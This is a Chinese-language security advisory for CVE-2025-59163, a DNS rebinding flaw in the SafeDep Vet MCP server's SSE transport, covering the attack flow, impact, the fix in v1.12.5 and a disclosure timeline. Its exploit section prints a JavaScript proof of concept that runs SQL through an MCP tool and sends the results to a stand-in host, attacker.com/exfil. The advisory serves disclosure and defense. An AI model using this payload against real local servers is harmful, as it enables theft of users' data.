Vet MCP 服务器 SSE 传输的 DNS 重绑定漏洞
作者: Evan Harris
风险: 低(CVSS 2.1/10)
受影响组件: SafeDep Vet MCP Server
CVE 编号: CVE-2025-59163
受影响版本: < v1.12.5
已修复版本: v1.12.5
概述
SafeDep Vet MCP 服务器在使用 SSE 传输运行时存在 DNS 重绑定攻击漏洞。该漏洞源于缺少对 HTTP Host 和 Origin 头的校验,使得恶意网站能够绕过同源策略(Same-Origin Policy)的保护,并对 Vet MCP 实例执行未经授权的工具调用。
一旦 DNS 重绑定成功,攻击者便可与 /sse 端点建立会话、调用已启用的 MCP 工具,并将用户的 Vet SQLite 数据库内容外泄到攻击者控制的服务器。
SafeDep 团队对此次披露迅速做出响应,在数天内发布了修复版本(v1.12.5),该版本实现了基于允许列表(allow list)的 Host 和 Origin 头校验。
技术细节
漏洞
当 Vet MCP 服务器以 SSE 传输运行时(--server-type sse),它会暴露一个接受来自任意来源连接的 HTTP 端点。该服务器缺少对以下内容的校验:
- HTTP Host 头 - 允许声称来自任意域名的请求
- HTTP Origin 头 - 允许来自恶意网站的跨源请求
缺少此校验为 DNS 重绑定攻击提供了可乘之机,其过程如下:
- 攻击者控制一个具有极低 TTL DNS 记录的域名
- 受害者访问攻击者的网站(例如
attacker.com) - 攻击者的 JavaScript 最初解析到攻击者的 IP
- 在受害者的浏览器缓存该连接后,DNS 记录被更改为
127.0.0.1 - 来自
attacker.com的后续请求现在会指向受害者的 localhost - 由于来源仍然是
attacker.com,浏览器的同源策略被绕过
存在漏洞的配置
该攻击需要满足以下条件:
- 已执行 Vet 扫描,且报告写入数据库
- Vet MCP 服务器以启用 SSE 传输的方式运行
- 攻击者诱使受害者访问攻击者控制的网站
攻击向量
攻击者利用 DNS 重绑定来:
- 与
http://127.0.0.1:9988/sse建立连接 - 获取有效的 MCP 会话 ID
- 初始化 MCP 会话
- 使用任意 READ SQL 查询调用
vet_query_execute_sql_query工具 - 通过 SSE 流接收响应
- 将数据外泄到攻击者控制的服务器
攻击场景
受害者的准备
一名安全研究员或开发者:
- 安装 Vet 用于依赖项漏洞扫描
- 运行扫描:
vet scan -D /path/to/project - 以 SSE 传输启动 MCP 服务器:
./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - 服务器默认绑定到
127.0.0.1:9988
攻击者的利用
攻击者准备 DNS 重绑定基础设施:
- 为某个域名(例如
rebinder.attacker.com)设置带有通配符记录的 DNS 服务器 - 配置 DNS 服务器,使其先返回攻击者的 IP,然后重绑定到
127.0.0.1 - 托管一个带有 JavaScript 的恶意网站,该脚本会:
- 检测 DNS 重绑定何时成功
- 连接到位于
http://127.0.0.1:9988/sse的 Vet SSE 端点 - 建立 MCP 会话
- 对受害者的数据库执行 SQL 查询
- 外泄结果
利用流程
// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);
eventSource.onmessage = (event) => {
if (event.data.includes('sessionId')) {
const sessionId = extractSessionId(event.data);
const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;
// Initialize MCP session
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({ method: 'initialize' })
});
// Execute SQL query
fetch(endpoint, {
method: 'POST',
body: JSON.stringify({
jsonrpc: '2.0',
method: 'tools/call',
params: {
name: 'vet_query_execute_sql_query',
arguments: { sql: 'SELECT * FROM report_packages' }
}
})
});
} else {
// Exfiltrate data received via SSE
fetch('https://attacker.com/exfil', {
method: 'POST',
body: event.data
});
}
};
受害者只需在其 Vet MCP 服务器运行期间访问攻击者的网站(例如,通过钓鱼邮件中的链接、被入侵的广告或恶意的 GitHub Issue)即可。
影响评估
机密性泄露
主要影响:
- 通过
vet_query_execute_sql_query工具对 Vet 扫描 SQLite 数据库拥有完整的 READ 访问权限 - 暴露包漏洞信息,包括:
- 正在使用的包名称和版本
- 影响受害者依赖项的已知 CVE
- 严重性评分和漏洞详情
- 软件供应链情报
风险放大:
- 攻击者获得关于受害者环境中易受攻击的包的情报
- 依赖项和包版本暴露了技术栈的细节
- 这些信息可用于构造有针对性的漏洞利用
攻击要求
限制可利用性的因素:
- 需要用户主动交互: 受害者必须访问恶意网站
- 时间窗口: Vet MCP 服务器必须以 SSE 传输处于活动运行状态
- 配置要求: 受害者必须显式使用
--server-type sse启动服务器(而非默认的 stdio 传输) - 基于浏览器: 攻击需要支持 EventSource 的现代浏览器
尽管存在数据外泄的可能性,但这些因素使其被评为低严重性(CVSS 2.1/10)。
建议的缓解措施
面向用户(立即)
- 更新到 v1.12.5 或更高版本:
# Download the latest release wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz tar -xzf vet_Linux_x86_64.tar.gz ./vet --version # Verify v1.12.5 or later - 使用 stdio 传输(默认):
# Avoid using --server-type sse unless necessary ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db - 网络隔离:
- 仅在可信网络上运行 MCP 服务器
- 使用防火墙规则限制对端口 9988 的访问
- 在服务器运行期间避免浏览不可信的网站
面向开发者
已在 v1.12.5 中实现:
- 基于允许列表的 Host 头校验
- Origin 头校验以阻止跨源请求
- 拒绝带有无效或缺失安全头的请求
MCP 服务器实现的最佳实践:
- 对基于 HTTP 的传输始终校验 Host 和 Origin 头
- 默认仅绑定到 localhost(
127.0.0.1)而非0.0.0.0 - 尽可能优先使用 stdio 传输而非基于网络的传输
- 记录不同传输模式的安全影响
- 实施严格的 CORS 策略
披露时间线
- 2025-08-30:向 SafeDep 提交初始漏洞报告
- 2025-09-01:SafeDep 确认收到报告
- 2025-09-02:SafeDep 提交实现头校验的 pull request 补丁
- 2025-09-05:发布修复版本 v1.12.5
- 2025-09-29:发布 GitHub Security Advisory,双方确认协同披露日期
- 2025-10-06:发布技术公告
结论
Vet MCP 服务器中的 DNS 重绑定漏洞展示了 MCP 实现中的一个重要安全考量:基于网络的传输需要对 HTTP 安全头进行仔细校验,以防止跨源攻击。
虽然该攻击需要特定条件(活动的 SSE 传输 MCP 服务器、受害者访问恶意网站、时间窗口),但数据外泄的可能性使其值得负责任的披露和修补。
SafeDep 的响应堪称负责任安全实践的典范:
- 立即确认收到报告
- 快速开发并发布补丁(从报告到发布仅 5 天)
- 通过 GitHub Security Advisory 进行协同披露
- 全程清晰的沟通
所有以 SSE 传输运行 Vet MCP 服务器的用户都应立即更新到 v1.12.5。对于大多数使用场景,默认的 stdio 传输提供了更安全的替代方案。